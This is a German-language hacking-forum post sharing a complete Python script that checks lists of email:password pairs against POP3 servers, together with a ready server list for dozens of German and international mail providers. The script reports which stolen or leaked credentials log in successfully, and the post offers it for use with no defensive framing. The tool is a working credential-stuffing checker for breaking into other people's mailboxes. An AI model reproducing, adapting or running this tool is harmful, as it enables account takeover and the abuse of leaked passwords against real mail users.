Ergebnis 1 bis 6 von 6

Baum-Darstellung

  1. #1
    Trojaner Avatar von s3rb31
    Registriert seit
    21.01.2010
    Beiträge
    75

    Standard POP3 Mailchecker (with custom server list)

    Soo hier ein POP3 Checker denn ich schon vor geraumer Zeit zusammengehackt habe, der aber noch prima funktioniert.

    Die Maildaten sollten entsprechendes Format haben:

    Code:
    test@gmx.de:passwort
    wobei der Delimiter (Doppelpunkt) auch ein anderer Buchstabe sein kann, wenn dies entsprechend beim Programmaufruf spezifiziert wurde.

    Usage

    Code:
    [17:18:48] s3rb31@archbase:~/code/mailchecker $ ./mailchecker.py
    Usage:
            ./mailchecker.py -i <inputfile> [-d <delim>] [-s <srv-list>]
    
            <delim> defaults to ':'
            <srv-list> defaults to 'popdata.txt'
    
      Use the '>' operator to redirect the output to any given file,
      for example:
    
            ./mailchecker.py -i inputfile.txt -s srvlst.txt > C:\data\outputfile.txt
    mailchecker.py

    Code:
    #!/usr/bin/python
    # written by s3rb31@mail.ru
    # don't steal my code! don't leak!
    
    import zlib
    import poplib
    import sys, time
    import re, getopt
    
    class POP3Checker():
    
        def __init__(self, input_file, srv_file, delim):
            self.srv_list = []
            for line in open(srv_file, "r"):
                self.srv_list.append(line.rstrip('\r\n'))
    
            if len(self.srv_list) < 1:
                raise EOFError("Error: Server list is empty!")
    
            self.input_list = []
            for line in open(input_file, "r"):
                self.input_list.append(line.rstrip('\r\n'))
    
            if len(self.input_list) < 1:
                raise EOFError("Error: E-Mail list is empty!")
    
            self.delim = delim
    
        def __get_srv__(self, mail):
            mail_host = mail.split('@')[1]
    
            for i in range(0, len(self.srv_list)):
                srv = self.srv_list[i]
                srv_host_end = srv.find('(')
    
                if srv_host_end == -1 or srv[0:1] != '@':
                    print("Error on line " + str(i+1) + " in server list.\n" +
                            "Server information is malformed, skipping entry.")
                    del self.srv_list[i]; continue
    
                if mail_host == srv[1:srv_host_end]:
                    return srv[srv_host_end + 1:-1].split(':')
    
            return False
    
        def __check_login__(self, mail, pw, srv):
            while True:
                try:
                    conn = poplib.POP3_SSL(srv[0], srv[1]) if srv[1] == "995" else poplib.POP3(srv[0], srv[1])
                    conn.user(mail)
                    conn.pass_(pw)
                    conn.quit()
                    return True
                except poplib.error_proto:
                    if '@' in mail:
                        mail = mail.split('@')[0]
                        continue
                    break
                except OSError as e:
                    print("Error: " + e.strerror + " Server: " + srv[0] + ":" + srv[1])
                    break
    
            return False
    
        def __parse_line_and_check__(self, line):
            pw = line.split(self.delim, 1)[1]
            mail = line.split(self.delim, 1)[0]
    
            srv = self.__get_srv__(mail)
    
            if srv == False:
                return 'NOSERVER'
    
            return 'SUCCESS' if self.__check_login__(mail, pw, srv) else 'FAIL'
    
        def start(self):
            for line in self.input_list:
                if len(line) > 3:
                    status = self.__parse_line_and_check__(line)
                    print(line + self.delim + status) # this is our final output
    
    
    def usage(name):
    
        help_str  = "Usage:\n\t"
        help_str +=         name + " -i <inputfile> [-d <delim>] [-s <srv-list>]\n\n"
    
        help_str += "        <delim> defaults to ':'\n"
        help_str += "        <srv-list> defaults to 'popdata.txt'\n\n"
    
        help_str += "  Use the '>' operator to redirect the output to any given file,\n"
        help_str += "  for example:\n\n\t"
    
        help_str +=         name + " -i inputfile.txt -s srvlst.txt > C:\data\outputfile.txt"
    
        print(help_str)
    
    if __name__ == "__main__":
    
        delim = ':'
        input_file = ''
        srv_file = 'popdata.txt'
    
        try:
            opts, args = getopt.getopt(sys.argv[1:], "hi:d:s:")
        except getopt.GetoptError:
            usage(sys.argv[0]);
            sys.exit()
    
        for opt, arg in opts:
            if opt in ("-i"): input_file = arg
            elif opt in ("-d"): delim = arg[0:1]
            elif opt in ("-s"): srv_file = arg
    
        if len(input_file) < 1 or len(srv_file) < 1 or len(delim) < 1:
            usage(sys.argv[0]);
            sys.exit()
    
        try:
            checker = POP3Checker(input_file, srv_file, delim)
            checker.start()
        except FileNotFoundError as e:
            print("Error: " + e.strerror + " '"+ e.filename  + "'")
        except EOFError as e:
            print(str(e))
    popdata.txt

    Code:
    @12move.de(pop.12move.de:110)
    @addcom.de(pop.addcom.de:110)
    @alice.de(pop3.alice.de:110)
    @aol.com(pop.aol.com:110)
    @aol.de(pop.aol.com:995)
    @arcor.de(pop3.arcor.de:110)
    @compuserve.de(pop.compuserve.de:110)
    @directbox.com(pop3.directbox.com:995)
    @directbox.de(pop3.directbox.com:995)
    @email.de(pop3.web.de:995)
    @epost.de(mail.epost.de:110)
    @freenet.de(mx.freenet.de:995)
    @gmail.com(pop.gmail.com:995)
    @gmx.ch(pop.gmx.net:995)
    @gmx.at(pop.gmx.net:995)
    @gmx.de(pop.gmx.net:995)
    @gmx.info(pop.gmx.net:995)
    @gmx.com(pop.gmx.net:995)
    @gmx.org(pop.gmx.net:995)
    @gmx.net(pop.gmx.net:995)
    @googlemail.com(pop.gmail.com:995)
    @hotmail.de(pop-mail.outlook.com:995)
    @hotmail.com(pop-mail.outlook.com:995)
    @hushmail.com(pop.hushmail.com:110)
    @kabelmail.de(pop3.kabelmail.de:110)
    @live.com(pop-mail.outlook.com:995)
    @live.de(pop-mail.outlook.com:995)
    @lycos.de(pop.lycos.de:110)
    @mail.de(pop.mail.de:995)
    @msn.com(pop-mail.outlook.com:995)
    @msn.de(pop-mail.outlook.com:995)
    @ok.de(mail.ok.de:110)
    @online.de(pop.1und1.de:110)
    @onlinehome.de(pop.onlinehome.de:110)
    @1und1.de(pop.onlinehome.de:110)
    @outlook.com(pop-mail.outlook.com:995)
    @outlook.de(pop-mail.outlook.com:995)
    @planet-interkom.de(pop.planet-interkom.de:110)
    @space2go.com(pop.space2go.com:110)
    @strato.de(pop3.strato.de:110)
    @surfeu.de(pop.surfeu.de:110)
    @t-online.de(popmail.t-online.de:110)
    @tiscali.de(pop.tiscali.de:110)
    @versanet.de(pop3.versatel.de:110)
    @web.de(pop3.web.de:995)
    @worldonline.de(pop.worldonline.de:110)
    @yahoo.com(pop.mail.yahoo.com:110)
    @yahoo.com(pop.mail.yahoo.com:995)
    @yahoo.de(pop.mail.yahoo.com:995)
    @yahoo.de(pop.mail.yahoo.de:110)
    @yahoo.net(pop.mail.yahoo.com:995)
    @ymail.com(pop.mail.yahoo.com:995)
    @me.com(mail.me.com:110)
    @mail.ru(pop.mail.ru:110)
    Man kann die Liste mit den POP Server natürlich beliebig erweitern. Falls jemand da noch Listen hat darf er die auch gerne Posten!
    Geändert von s3rb31 (12.02.2017 um 17:12 Uhr) Grund: Fixed missing exception

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    BadboyGER (12.02.2017), Barny (12.02.2017), sn0w (13.02.2017)

Ähnliche Themen

  1. SSH umgehen {Pop3}
    Von Pegasus im Forum Sicherheit
    Antworten: 7
    Letzter Beitrag: 20.12.2010, 15:21
  2. POP3 Bruteforce mit PHP
    Von RiS im Forum Suche Tutorials
    Antworten: 3
    Letzter Beitrag: 29.06.2010, 01:00
  3. Perl direct SOCKS server's list checker
    Von meckl im Forum Perl
    Antworten: 0
    Letzter Beitrag: 03.02.2008, 10:59

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •